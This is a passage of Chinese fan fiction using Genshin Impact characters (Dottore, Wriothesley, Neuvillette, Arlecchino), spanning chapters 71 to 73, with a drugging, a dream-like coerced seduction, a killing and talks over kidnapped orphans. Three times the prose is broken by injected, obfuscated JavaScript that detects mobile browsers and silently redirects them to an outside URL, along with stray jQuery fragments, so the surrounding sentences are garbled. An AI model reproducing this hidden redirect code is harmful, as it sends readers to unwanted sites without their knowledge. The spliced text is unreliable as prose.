睡梦中的青年似乎感觉到了危险,眉心蹙起,但却似乎深陷睡梦之中,即使被人扼住呼吸,难受得只能不自觉地张开嘴,被人用手指狠狠地塞进喉咙里也无法醒来,只是发出细碎的呜咽声。 多托雷冷眼看着熟睡的青年喉管痉挛,不自觉地吞咽,将指间携带的药粉一点不剩地卷入胃里,才抽出了手指。 指间沾满透明的津液。 71.第 71 章 我曾,也有过堪称卑劣的想法。 耳边的声音纷至沓来。 “真是恶心啊,那个家伙。头发留得那么长,连眼睛都挡住了。看人的时候阴沉沉的。” “你不是最讨厌那个恶心的家伙了吗?怎么突然又提起了?” “新的课程任务,导师安排了我和他一组。啧,真是晦气,躲都躲不掉。” “你也太惨了。” 因为落单而被导师分到和暂时还没有组队的人一起,又因为是课程结业的必须要求而无法拒绝,除非我想要放弃从教令院毕业。 但那是不可以的,就算不全是因为父母的期望,总也是其他的。 学历,名望,生存。 在须弥,学术资源和成就代表着一切。 这样的情景几乎对我而言是家常便饭。因论派的教学,一些老师会刻意安排小组合作形式的作业。若是当期课程的导师是个好讲话的,倒也可以申请独自完成,但更多的时候,会被导师连带着一起骂一顿。 “要是每个人都像你这样特立独行,那我这课还上不上了?” 话很难听,但我几乎每次遇到这样的情况还是会去先找一遍导师,实在行不通再努力一下,在小组作业的时候尽量降低自己的存在感。 那些被强行分配带我的“搭档”,人品很好的会直接无视我,只在最后的作业上添上我的名字交上去就算了解了。要是遇到脾气稍差一点的同学,我大概会遭到刻意的刁难。 被扔到沙漠的遗迹独自调查线索,等到我又饿又渴地做完这些,到被放下的地方呼叫上面的同伴拉我上去,才会发现那些人早就离开了。 或是被刻意分到最难做最累的部分,交上的成果若是不能满意,便会被侮辱谩骂一番。 若是……那些人,都能去死就好了。 我低头看着自己的掌心,精神恍惚。 “原来你在这里。”熟悉的声音。 我抬头,看到少年的脸,愣了一下。 “你在发什么呆?我找了你好久。” “在……找我?” 可是,我有什么好找的呢?这样一个令人讨厌的,恶心的家伙。 手腕被突然握住,少年切片拉着我。 “不是说好要看星星吗?你别告诉我你忘记了。快别磨蹭了,我的时间可是很宝贵的,你知道一天的时间能让我做多少事吗。” 看……星星。 什么时候? 我的大脑像是塞进了过量的棉花,撑得我又昏又涨,但身体却轻飘飘的。 我似乎该觉得哪里有些不太对劲,却又想不起来。 隐约间,我似乎闻到甜腻的香味,很奇怪。但等我集中精神去分析的时候,那股香味便又像是幻觉一样,倏然消失地无影无踪。 对了,我好像,确实和少年约定过,等到少年完成今年的课题后,要去城外最高的山坡上一起看星星。 但是……少年,是谁? 不……我该想起来的,我不该忘记的……少年的名字。 ■■■ “等等……” 我感到一阵没理由的不安,想让少年停下来。但少年行走的速度很快,以至于我有点跟不上了,呼吸急促。 可是……我不是已经成年了吗?怎么会连一个少年的步速都赶不上? 我下意识低头看向自己,下一刻,身体撞上前面的少年,我踉跄两步。 少年扶着我的手臂,弯腰搂着我的肩膀。 “你怎么回事?连走路都不看着吗?” 视线……变矮了…… 我看着少年,有些反应不过来地回:“抱……抱歉……” “我不是让你道歉的意思。”少年皱眉,“算了,不是你说过上次没看到星星太可惜,这次一定要来带我看吗?你不会要临行前反悔吧?” 少年抱臂看着我,那双红色的,犹如宝石一般的眼睛落到我的身上,直视着我。 我感到被盯紧的头皮发麻。 “没有……”我抿了抿干燥的唇,“我只是,好像,有点饿了。” “哈?你没吃晚饭吗?” 我摇摇头。 少年气结。 “算了,真是拿你没办法。” 少年带着我进了一家餐厅。 “要吃什么?” “不知道……” 少年将菜单重重地合上。 他偏过头看我:“你在跟我开玩笑?” 我轻轻颤抖了一下。 少年:“……” 少年:“啧。一份兽米香香,一份薄荷豆汤。主食你要什么?” 少年露出一副不认真回答问题就会把手里的菜单拍我脸上的感觉。 我低声回答:“米圆塔。我不想要薄荷豆汤,可以吗?” 我害怕少年不耐烦,有些畏畏缩缩地抬头瞟了少年一眼。 掐好少年也正在看我,我的眼神刚好对上少年有些冷漠的双眼,心里一惊,又飞快地垂下头去。 少年稍微将自己的语气放得平和一点:“那就换成沙拉。这个可以吗?” 我点头:“……可以。” 菜不久就做好上来了。 少年将一副餐具拆好放在我的身边,又将那份米圆塔推到离我更近的地方。 “吃吧。”他说。 我拿起餐具,用勺子去盛菜的时候,桌子突然被极重的力道拍了一下,那勺子上的菜掉落到桌子上。 一名看起来年龄要大不少的青年走过来。他的身形很高,也很瘦,但在两位年纪尚小的少年面前,显得蛮横又高大。 青年的神色不怀好意:“哟,这不是教令院的少年天才吗?怎么提出了史无前例的理论的天才也会流落到这种地方吃饭?看你平时那副看不起人的样子,我还以为你不屑于和我们这种资质平庸的‘平民’在一个屋顶下。” 我的眼神在那神色刻薄的青年和少年中间徘徊了一下,有些犹豫地伸出手想把靠近桌子外边缘的菜拿过来。 “哎哟,看看,这是谁?不知道是哪位新晋的天才少年,竟然能够有资格坐到我们谁都看不起的天才面前。哼哼,可别怪学长我不提醒你,交朋友之前还是最好看清楚自己的位份,毕竟,我们这位目中无人的大天才可是……” 被扫射了…… 我悻悻收回手。 “说够了吗?”少年打断青年,语气间满是冰冷和嫌恶。 少年身上的气势很冷,一瞬间,竟然连那青年也被镇住了。 青年学者的嘴角抽搐了一下,表情变得有些不自然,但还是强撑着。 “怎,怎么,我有说错吗?你提出的那些观点和理念,就算是贤者大人也斥责为邪魔外道。呵,脑袋歪了的人,还真的妄想能够被人承认?呃……” 对面的少年突然站起来,抓住青年的衣领将他拉下来,然后一拳打在那人的右脸上。 青年学者痛得叫了一声,难以置信地看着少年。 “你竟然敢对我动手?” “为何不敢?” 少年的眼神冷得不像是在看一件活物。他从口袋里拿出一把匕首,横在青年颈侧。 原本还面容愤怒的青年顿时脸色苍白。 “你,你你你,你想干什么?我警告你,这里可是公共场合!” 我看见附近的不少人也看到了这边的闹剧,甚至其中传来了惊呼。似乎还有人离开去前台叫负责人。 少年手上的力道丝毫不懈,在青年恐惧的目光中,他用那把闪着寒光的匕首拍了拍青年的脸。 “所以,这一次我会放过你,但下一次,可就不确定了。不要再出现在我的面前,明白了吗?” 那匕首的刀刃贴紧青年的皮肤,只需要稍稍用力便能划破皮肤。 青年吓得腿都站不稳了,连忙答应。 “是,我知道了,我不会再出现在你面前了,放过我吧,我现在就走。” 少年松开男人,冷眼看着青年连滚带爬地逃走。 闹剧虽然解除,但身边围观的人却没有半分减少,甚至闻讯而来的侍者也在其中。 他们看着少年,眼中都带着忌惮和恐惧。 少年没去看那些人。 他只是把匕首收回,然后看向我。 “还要继续吃吗?”他问。 我下意识摇了摇头。 “好,那我们就走。” 少年走出来,朝我伸出手。 那只方才还用匕首威胁了青年的手比我大了一圈,因为会做切片样本或是组合机械结构的缘故并不算柔软,手上带着许多细小的伤痕和茧。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15066167|159613||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>我犹豫了一下,还是伸手出去,很快被少年拉着将整个手掌都囊进掌心里,用力到无法挣扎。 我和少年很顺利地出了餐厅。 奇怪的是,既没有人阻拦,更没有三十人团之类的存在抓捕少年这个刚刚用凶器威胁过其他人的“危险分子”。 但这样的怪异感只在心中存在了一秒,便被少年的声音打乱。 少年将我拉得与他靠得更近。 “我们现在去吗?到的时候应该正好天黑。” “嗯。”嘴比脑袋先一步回答了这个问题。 “那我们走吧。” 少年拉着我往前走,这次稍微照顾了我的步速。 一路上都没再说什么话。 如少年所说,等到我们出城爬上高坡的时候,天色已经在不知不觉中完全黑了。 我一边走着,一边抬头看天上。 黑漆漆的,连月亮都没有。 我忍不住怀疑这种天气,真的有星星看吗? 无论怎么看,都是个阴天吧。 “你在看什么?”少年问我。 我实话回答:“在看天上有没有星星,今天好像是阴天。” 说完这句话,我去看少年的反应。 少年也抬头看了一眼天空。 语气冷淡:“确实没有。看来你选定的日子又出错了。” 原来是我选的吗? 脑海中似乎隐约出现模糊的记忆,我忍不住摸了摸额头。 “对不起。下次我会努力选到合适的天气的。” 身体自动地回复:“让你浪费时间了,是我的错。” 少年:“你不用做错了什么都要和我道歉。我们的关系很好,不用这样。” 身体里浮现出名为“开心”的情绪。 我笑起来:“你说的对,我们是好朋友。好朋友之间不用这么生疏。” 少年突兀地打断我:“不,我们是爱人才对。” “欸?”我愣住了。 今天没有月亮,也没有星星,于是天色显得格外黑,我们之间的照明几乎完全是靠少年手中提着的一盏油灯。但即使这样,我能看到的范围其实也仅限于我和少年之间的距离而已。 大多数时间,我其实只是被少年牵引着往前走。 不知道什么时候,油灯被熄灭了。少年贴近我,双臂围着我的肩膀将我抱进怀里。 湿热的气息在我的耳边强调。 “我们,是爱人。” “啊——等等,我……” 剩下的话语被突然覆上来的亲吻推得咽回去,口腔被完全打开,少年在里面扫荡着,我几乎要呼吸不过来。 身体……变得好奇怪。 虽然有点难受,却生不起抗拒的想法,反而想被侵入得更深。 我被按在草地上,眼睛被少年的手覆盖挡住,就着这个动作,少年咬着我的喉咙。 “就留在这里陪我好吗?一直陪到我看到星星为止。” “好”字几乎是毫无阻碍地滚到喉咙,却又被我残存的一点理智压制住不说出声。 不…… 这太奇怪了。为什么会突然变成这个样子? 还有大脑里,好像突然浮现出来许多记忆。 是我和少年的。 每一帧,每一秒,少年的身形都如影随形。 我看着那些记忆里的我自己,莫名感到陌生的毛骨悚然。 少年咬着我喉咙上的凸起,舌尖抵着那颤抖着的地方,用力地压,等到我受不了呜咽出来的时候,才用唇含上那里,轻轻地吸吮起来。 情况似乎变得有些失控。 在急促的喘息声和压抑的哭声中,突然传出几个人的声音。 “老大,你确定是在这里吗?怎么都没看见人?” “我看着那个家伙带着个又呆又楞的小孩儿往这个方向走的,怎么可能看错?都给我找,务必要找到那个家伙。我就不信了,这么多人,还解决不了一个少年。” “是,老大!” 是白天的那个青年,似乎还带了其他的人手。 我有些哆哆嗦嗦地推开身上的少年,这一次,倒是很顺利。 少年揽着我的肩膀带着我躲到附近的一块石头后面。 不远处,人影和灯火纠缠着。 72.第 72 章 “是,是白天的那个人,他,他是来找我们的吗?”我有些无措地看向少年。 少年身上的气息很冷。 “不是你。他们的目标是我。” 少年边说,边从身上拿出白天的匕首。 我心里有点不好的预感,扒住少年的手臂。 “你要去干什么?” 少年冷哼:“当然是解决一些碍眼的虫子。” 我喉咙有些紧涩,话没经过思考就从嘴里说出来。 “你要杀了他们吗?” 少年沉默着。 夜晚实在是太黑了,我看不到少年,只能感受到少年的眼神一直落在我的身上。 像是一张网,紧紧地缚着人。 “想要杀了他们的,真的只有我吗?” 少年的声音落在寒冷的夜里,像是询问,又像是肯定。 我忍不住打了个寒颤,再一晃神,身边的少年已经不在了。 身边唯余密密麻麻的黑暗。 少年…… 少年呢? ■■■去了哪里? 我有些慌张地摸着湿冷的草地,终于在石头的角落摸到那盏熄灭的油灯,点燃后,总算是有了光亮。 我看向周围,没有看到少年的身影。 “你在吗?”我试探性地询问。 但无论发出多少遍这样的声音,都没有半分的回应。 我咬了咬牙,扶着石头站起来,在地上跪的有些久的膝盖被冷意入侵而泛着点疼。 不能够坐以待毙,我得去找到少年。 可是,该去哪里呢? 我的眼神落到远处一闪一闪的火光。 我预想了多种可能。 比如在靠近那伙意图不善的人的时候被抓住,或者等到到了地方才发现根本一个人都没有,连少年都干净地消失不见,又只剩下我自己。 心脏的跳速变得不稳。 我加快脚步,靠近那火光,等到近了,才听到此起彼伏的呻吟。 映入目光的是歪七扭八躺在地上的三四个人,他们的身上有不同程度的外伤,看起来像是被锋利的刀具所伤。 而在更远处,我看到熟悉的身形被制在地上,少年被人掐着脖子,武器就要靠近。 脑袋在一瞬间变得空白。 几乎是不假思索,我从地上捡起一把长剑,用尽自己最快的力气冲过去。 长剑没入喉咙的时候,像是切割动物的骨头一样,看着那人脸上错愕的神色以及濒死反抗的手,我闭上眼更加用力,直到发出“噗嗤”一声的贯穿的声音,才颤抖着睁开眼。 最先看到的是鲜血,像是泼洒的油漆,到处都是,其次,则是青年脸上的惊讶和不甘,以及不明显的怨毒和狠意。 青年盯着我,喉咙里只发出“嗬嗬”的声音,下一刻,身体便失去力量倒去。 我下意识地丢开手里的剑,有些反应不过来。 这是……死了? 就这么轻松,轻飘飘的没有实感。 少年从地上坐起来。 他明明刚才还被一个成年人掐着脖子面临生命危险,现在却像是没事人一样,甚至脖子上连半分痕迹都没有,唯一沾染上的,只有刚才喷溅到的血。 那双红色的眼睛盯着我。不知道是不是错觉,我总觉得那双眼睛的颜色在慢慢加深,就如同…… 鲜血一般。 “你杀了人。” “……是。” “你为我杀了人。” “……是。” 少年无声地笑起来,那双猩红色的眼眸染上深沉的疯狂。他没有发出任何声音,只是嘴角的弧度拉扯上扬。 犹如非人。 我或许该感到害怕,也或许该感到懊悔。 为自己的罪行。 但是,什么都没有。 我像是被蛊惑了一般,移不开和少年对视的眼睛。 少年走过来。 他抱住我,犹如不久前的纠缠一样,甚至比纠缠的时候更加紧,紧得我快要喘不过气来。 少年的手掌落到我的后颈,揉捏着。 “现在,我们就是共犯了。” 少年如此说。 我松力地将自己完全放在少年的怀里,喉咙间泄出又低又轻的声音。 “主人……” …… 从梦中醒来时,我还有些精神恍惚。 我拉开灯去看自己的手掌,仿若上面还残余着沾染着粘稠腥热的血液的错觉。 但是没有。 连指间都干燥洁白。 心一下子放松下来,我这才有心情从那诡异的场景里脱离出来,观察自己现在的位置。 很熟悉,是在卧室的床上。身边没人,但身体是干燥清爽的。 所以……那些,是梦吗? 无数的记忆,无论是直到现在还让我心有余悸的,还是几天之前,就连梦里时常会出现的,奇怪的熏香的味道,在此刻,都分外清楚。 头发披散在肩膀上,无端生出热意。 我忍不住伸手,五指都插进发丝间,往上捋。 门被“咔哒”一声打开。 我听到门锁拨动的声音,以及落在厚实的地毯上的闷沉的脚步声。 是多托雷。他似乎刚洗浴完,身上带着浓重的水汽,薄荷色的头发被压上去露出额头。 那双猩红色的眼睛转过来,多托雷看向我,似乎有些惊讶。 “你醒了?身体感觉怎么样?有哪里不舒服吗?” 不说还好,一提起我就开始隐约感觉到不适感,好像还有点肿。 于是我回了一句:“有点疼。” 多托雷正常的时候还是很温柔体贴的,虽然我总觉得那大概是从Theta那里学来的,但是Theta理论上也是“多托雷”,我或许不应该存有这样的偏见。 多托雷走过来。 他的心情似乎很不错,甚至很有闲暇地从床头柜的抽屉里翻找了一下,找出一个药盒,打开,里面是乳白色的膏体。 他说:“转过去,趴在床上。” 我明白这是要亲自给我上药。这样的情况对我而言并不算少见,于是我很顺从地掀开被子,转过去,手肘撑着床。 枫丹的夜间温度降低,多托雷刚洗完澡,身上的热度此刻就已经褪去了一大半,被触碰的时候,我的身体颤抖了一下。 …… …… 那日的事情,无论是梦,还是Omega,似乎都无人再提起。 如同所有的一切都是梦,醒来,便一切消散了。 多托雷告诉我回至冬的船早已备好,后天便会启程回至冬。 在回至冬之前,我决定再去一趟千织屋,定制一套更适合自己的日常装束,同时顺路取走上次定下的礼服。 在出发之前,我向多托雷征询了同意。 他大概是想同我一起去一趟的。枫丹的事情完结,多托雷最近空闲得很,只是临时似乎又出了事要亲自去处理。 大概是与实验室相关。 于是便是我单独去。 时隔多日再一次踏入千织屋,竟然很巧地遇上了上次见面过的千织屋老板,以及,另外一人—— 梅洛彼得堡的管理者,公爵莱欧斯利。 我走进去的时候,两人似乎正在交谈,门被推开,里面的人都转头看向我。 千织率先反应过来,没什么表情地说了一句“欢迎光临”,一如第一次见面一样不冷不热。 相比之下,莱欧斯利反而要显得热情的多,他甚至还打趣起来。 “哟,这不是副官大人吗?许久不见,你的黑眼圈似乎重了点啊。可别是咖啡喝多了睡不着吧。” 千织抱起手臂,在我和莱欧斯利身上分别看了一眼,才问道:“‘副官’?” 我抢在莱欧斯利之前开口:“托公爵大人的福,大概是您之前多点的那杯咖啡的缘故,让我咖啡因不耐受了。” “这可不该是我的锅,毕竟非要点单浓缩不加糖的人不是我。”莱欧斯利摆手。他笑吟吟地:“你说对吧,副官大人?” “副官”两个字,就像是被刻意加重了语气强调。 我皱了皱眉,不欲在与这个难缠的家伙多纠缠。 我伸手向莱欧斯利站着的方向轻轻挥手。 “麻烦请您让开一下,公爵大人。当然,如果您现在是在与老板进行业务沟通的话,我也可以在旁等候。” 莱欧斯利挑眉,顺从地让开身位。 “当然不,只是闲聊而已。副官大人是需要定制服装的话,请随意好了。” 我没有再理会莱欧斯利,转而看向千织。 “您好,我之前在店内定制了一套服装,想请问一下是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15074408|159613||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 否已经做好。” 千织的眼神在我身上停留了一会儿,她似乎是在打量我,但并不是很友善。 这样的状况并未持续很久,很快,她便开口回复。 “我记得你,那套衣服已经做好了,我给你取出来。” 千织转身走近布帘内的工作区域,不多会儿,便走了出来,手上抱着一件折叠的做好的衣服。 服装被交付到我的手里。 心绪稍微轻快两分,我露出一个微笑。 “十分感谢。另外,我想要在千织屋再定制两件日常的服装。” 千织的神色有些冷漠。 “抱歉,千织屋可能没办法再接受你的定制了。” 带着点排斥。 “请回吧,这位客人。” 我愣了一下,等到被请出店外的时候,心里还有些恍惚。转头一看,却看见莱欧斯利也推门出来。 他看向我:“聊聊?” 我点了点头,和莱欧斯利走到一个人少的角落。 莱欧斯利半倚靠着墙面,微微偏转的眼神却是落在更下方广场上的人群。 “今天我路过这条街的时候,被千织屋的老板叫了进去,她认出了我的身份,所以和我说了一些有趣的事情。千织屋总会有许多富商政要关顾,在这里工作,偶尔会听见一些了不得的秘辛,而那位千织小姐,也会偶尔向我这样的公职人员透露一些。” 莱欧斯利看向我。 “比如……关顾过千织屋的装扮异常,同时似乎还逼迫身边随行的扈从的怪人。” 我了然地道:“原来如此。所以您透露了主人和我的身份。” “怎么会?只有那位执行官的身份而已。” 我想起刚才莱欧斯利在店里特意强调了好几遍的称呼。 问道:“差别很大吗?” 莱欧斯利笑起来:“我只是保障了公民的知情权而已。这次,可是在枫丹法律之内的条款。” 我:“……” 我:“如果只是回敬我上次的话,就到此结束吧。我该离开了。” 我转身欲走,莱欧斯利伸出手臂拦住我,缠缚在小臂之上的黑色绷带下,露出紧绷的肌肉。 男人的身形好似墙压过来。 “别着急离开啊,副官大人,我还有话没说呢。”面上依旧是那副笑意。 我被迫转回:“那您最好快一点,我的时间比较有限。您也知道,愚人众的事务很繁忙,更何况是我这位副官。” “副官大人上次不还说自己是在休假吗?” “那么,很显然,假期是会结束的。” 莱欧斯利似乎是被逗笑了。他笑了两声,随后才开口。 “好吧,那我还是快点儿说吧。打扰副官大人的时间,只是想从你这里得到一个担保而已。” “什么担保?” “不会找千织屋麻烦的担保。” 我抬眼看过去。 “不要那样一副严肃的表情啊,副官大人,否则……”莱欧斯利停顿一下,声音低沉下来,连笑意也减少了许多。 “我会以为我不得不要采取一些强制的手段来解决这件事了。不过,我想无论是我还是你,都不想看到这种场面,不是吗?” 我:“……” 不远处有人经过,似乎是看到了角落里紧张对峙的二人,吓得脸色一白,转身就走。 我轻轻叹气。 “在您心中,我原来是这样的形象吗?” 莱欧斯利没有回答,只是转而说起另一件事。 “前两天,警备发现了一起案件,流散在枫丹,被一家小孤儿院收养的孤儿接连失踪,但收养的人却从未报过案。对枫丹的推理小说感兴趣的副官大人不如推理一下,那些孩子去哪里了,以及,凶手,究竟是谁呢?” 我想起早上多托雷的匆匆离去,脸色有些沉下来。 原来如此…… 难怪这件事情我一点风声都没有,也难怪这件事情非要劳动多托雷去解决。 那些追随多托雷,想要在多托雷面前表现上进,进入所谓【博士】大人眼光,被【博士】大人重用的人。 无法依靠才能,便想要从旁门左道取得多托雷另眼的人。 流浪的孤儿…… 被蒙骗送往至冬的实验体…… 今天的太阳很大,我却突然感到遍体生寒。 73.第 73 章 莱欧斯利的声音很冷。 也许是结识的时间太过短暂,或者是为数不多见过的几面,莱欧斯利一直保持着温和的态度,以至于让人对这样突然强硬下来的态度有些惊颤。 “愚人众在各国犯下的罪行都无可辩解,干涉内政,以‘合作’为目的强制征收适龄的青年,甚至,连流浪的孤儿都不放过。与这些事情打交道,甚至经手过无数罪行的副官大人,要如何让人能够相信你呢?” 实验体…… 又是实验体。 大脑一抽一抽地疼,我有点听不清周围的声音了,只有莱欧斯利冰冷的诘问无比清晰。 “我了解了。”我听到自己的声音冷静地响起。 “我会保证,愚人众,至少是【博士】的力量,不会对千织屋做出任何事。另外,我会请求主人让我接手这件事,枫丹境内未来不会再有‘征收实验体’这样的事情发生。” 莱欧斯利:“哦?身为副官,便能够越级决定这种事情吗?” “就算没有我,这件事情被捅大,【仆人】大人也绝不可能再允许类似的事情发生。”我说,“但是,我接手这件事情后,可以将幕后的主使交给枫丹方处置。” 莱欧斯利有些意外。 “我还以为你会维护愚人众的利益。” “当然,也是有条件的。审判结果不可以与愚人众扯上关系。” “那听起来,可不算合理的要求。” “愚人众不可能让这种事情被传得人尽皆知。为了维护两国之间的和平,您觉得沫芒宫有多大的可能会一意孤行,将所有的真相托盘而出?按照主人的行事作风,或许连那些人,也不会交给你们处理。” 莱欧斯利注视着我。 不带笑意时,冷下来的神色让他显得足够令人敬而远之,锋利而有压迫感。 但很快,他脸上的冷意飞速地融化。 莱欧斯利用很刻意的声调呼了口气,在刚才的对话里随时紧绷着预防意外的身体也突然地放松下来。 莱欧斯利:“呼——果然果然,我就知道,喜欢推理小说结局的人,肯定不会是穷凶极恶的人。” “……我记得我说过,那本书的结局无论如何在我看来都无所谓。” “可是,那本书只有结局的几页边角翻动得有些微卷,看起来,应该是被人多次翻阅过呢。” 我忍不住讽了一句:“您不是信奉‘程序正义’吗?” “哦?原来我看起来很像那种古板派的正义之士吗?”那熟悉的,带着笑意的,略戏谑的声音再次回到这个人身上。 莱欧斯利靠近我,不再是刚才那副带着逼迫的感觉,完全超过了正常的社交距离。 “哎呀哎呀,没想到副官先生对我的第一印象竟然这么好,我们说不定有成为朋友的潜质呢。” 我有些受不了这样骤然变化的态度。脑袋还一抽一抽地疼着,我咬牙退后半步避开靠近的人。 “……我可是做过不少坏事的‘坏人’。” 莱欧斯利一副丝毫未感觉到我身上强烈的排斥感的样子,甚至接着朝我退后的方向再靠近。 这一下,我背后已靠近了墙壁,再无后退的余地,只能看着那高我许多的身影靠近,存在感极强地侵入我的安全距离之内。 “那可太巧了,我打交道最多的就是坏人。”莱欧斯利如此说。 “塔德纳。” 熟悉的声音传来。 我的余光看到多托雷的身形出现在不远处,心里莫名其妙出现点慌张。 我用力将莱欧斯利推开,后者倒也没生气,甚至表情都没怎么变,笑着看我脚步有些匆忙地走向多托雷的方向。 我很快到了多托雷的身边,心里竟然有一种“终于得救了”的感觉。 “主人。” 我低头叫了一声,肩膀上突然搭上一只手,把我半搂进怀里。 背后似乎能感受到莱欧斯利过于明显的注视。 “这么快就要离开了吗?与副官先生交谈,时间总会过得很快。希望副官先生不会忘记我们之间的约定。” “约定”两个字被故意加重语气,又刻意拉长了声音。 我能感受到多托雷搭在我肩膀上的手掌明显地收紧。 多托雷声音有点冷:“呵,约定?” 我:“……” 果然,早在看到莱欧斯利的时候,我就应该立刻转身离开。 碰见莱欧斯利就没好事发生。 因为莱欧斯利的话,我不得不多费了一点力气才从多托雷那里取得这件事的总负责权。回至冬的计划也暂时搁置,柔灯港的码头上,回程的船只停靠在那里,因为没有枫丹廷的放行,船上的工作人员只能等待那不知道何时才能够完全定裁的谈判结果。 愚人众对枫丹的渗透更多的是体现在暗处。 阿蕾奇诺不像前代【仆人】,甚至与她的其他同僚行事风格也颇为不同,到结果上,便是愚人众也需得在枫丹境内小心行事。 就像这次的事件一样。 那些孤儿,据说在被发现的时候,就已经全部被送到具有官方性质的孤儿院收养了。所有涉及此事的人,无论是枫丹人,还是愚人众的细作,甚至包含的零碎几个机关要员也被一起抓走,等待审判。 对外,这件事情被定性为“拐卖流浪孤儿”。在两国的谈判未结束前,为了保证国家间的邦交,事情的真相并没有被泄露出来。 当然,更重要的是…… “我想,我方的要求已经很清楚了,将所有属于愚人众的人交回,同样的,我们也会保证,类似的事情,绝不会再在枫丹境内发生。” 阿蕾奇诺如此说着。 在她的面前,端坐着的,则是一位身着繁重服饰的男子。 那是一位相当威严冷峻的男人,装束严正,一头长而厚的白发被拘在身后,看得出来经过精心的打理,就连鞋套也是一丝不苟地对齐裤缝,连褶皱都没有。 枫丹的最高审判官,以公正无私著称的,那维莱特。 这是我第一次在如此近的距离见到这位最高审判官,即使只是立侍陪同,也能感到令人心悸的威严。 那维莱特:“恕我冒昧,贵方在枫丹多次进行非法的活动,除去这一次的统共34名受害者,其余的,那些被愚人众残害的孤儿或是流浪者,更是不计其数。对于那些受害者,以及枫丹的民众,审判庭必须给出一个正义的结果。所以,” 那维莱特看向阿蕾奇诺,语气有些冷:“想要我们当作这件事没有发生的话,枫丹绝不可能办得到。” 看来,即使是这位最高审判官,面对这件事情,想必也是极为不满的。 “那维莱特先生恐怕哪里误会了。”阿蕾奇诺摆手,“并不是要求枫丹方‘将这件事情当作没有发生’。就算交回愚人众的人,也还有其他人不是吗?” “那么,愚人众在枫丹所犯下的罪恶呢?就要如此清除吗?” “嗯……好问题,那维莱特先生。”阿蕾奇诺往后靠在椅背上,“这个问题,或许你可以询问一位更专业的人。比如……” 阿蕾奇诺看向我,与那双斜十字的眼睛一起的,另一双没什么感情的,犹如非人一般的眼瞳看过来。 我稍微平复了一下跳的有些快的心脏,从阿蕾奇诺的身后向前走了几步,向这位尊贵的最高审判官大人致以一个敬礼。 “那维莱特大人,我是愚人众第二席执行官【博士】大人的副官,您可以叫我塔德纳。” 那维莱特的眼神变得锐利:“【博士】……是那些拐卖孤儿的罪犯所效忠的人。你来此,也是要带走那些在枫丹为非作歹之徒的吗?” “还请容我一言,那维莱特大人。”我露出一个笑容,“或许,在听完我的提议之后,您会稍微改变心意也不一定。” “那么,请说出你的提案吧,为此而来的副官。” …… 这场谈判足足持续了两个小时,等到一切结束,定下最后的折中方案后从沫芒宫出来,才发现已经快天黑了,且外面又下起了细雨,看不远处的乌云和时而出现的闪电,恐怕之后的雨还会变大。 我揉了揉脖子,招呼旁边的愚人众取来雨伞,然后在外面等待了一会儿。 夹杂着雨汽的冷风卷过来,钻进颈窝,直要让人冷的打颤。 我开始后悔下午出门的时候贪图凉意而没有穿外套了。 正这样想着,身后传来极轻的脚步声。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15080273|159613||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >我转身看过去,正好看见阿蕾奇诺从沫芒宫走出来。我稍微松了口气,迎上去。 阿蕾奇诺似乎对我还在这里这件事有些惊讶。 “【仆人】大人,感谢您愿意让我参加这次的商讨。以及,关于这次发生的意外牵连的事故,我向您表示忠诚的歉意。” 阿蕾奇诺的语气冷淡:“不用如此,既然【博士】将这件事情交给你来负责,你自然也有参加谈判的资格,至于其他的,呵,相比于你的道歉,或许真正该内疚的,是另有其人。” 阿蕾奇诺与多托雷的关系不好人尽皆知,平时阿蕾奇诺都会躲着多托雷尽量不与他交谈。 枫丹的事情说是实验室的祸事,但落到问题解决上,又少不了要劳动这位【仆人】大人多多出力,忙前忙后半天,结果罪魁祸首的同僚不仅我行我素,还在把这件事扔给自己的下属后完全不过问了,也难怪阿蕾奇诺会难得如此失礼且直白。 我苦笑了两声,尝试解释。 “这件事情是我主动请求主人交给我的。还请您放心,在离开枫丹之前,我会尽快解决这件事。” 阿蕾奇诺只是没什么表情地“嗯”了一声。 我明白,这位大人不是多言的个性,且与我这个“讨厌的同僚的副官”就更没什么话说了。 我没打算继续待在这里自讨没趣,只是从随身的储物袋拿出一样东西。 “事务既已完成,我就要回去向主人复命了。在离开之前,想拜托【仆人】大人一件事。” 阿蕾奇诺抱着手臂看我:“什么事?” 我将手里用牛皮纸袋包装的口稍稍打开,露出里面风干的鱼干。 “昨天在从实验室返回的路上,正好碰见了在卖干货的货主,想起林尼之前说过罗瑟兰有些挑食,便想买点喂给罗瑟兰试试。不过回程的日期快了,我大概很难再抽出时间将这个亲手交给林尼,所以,还得拜托【仆人】大人转交一下。” 阿蕾奇诺沉默了一下,斜十字,显得恐怖的眼睛在鱼干上停留了一会儿,但很快离开。 “我可以让林尼明天去找你。”她说。 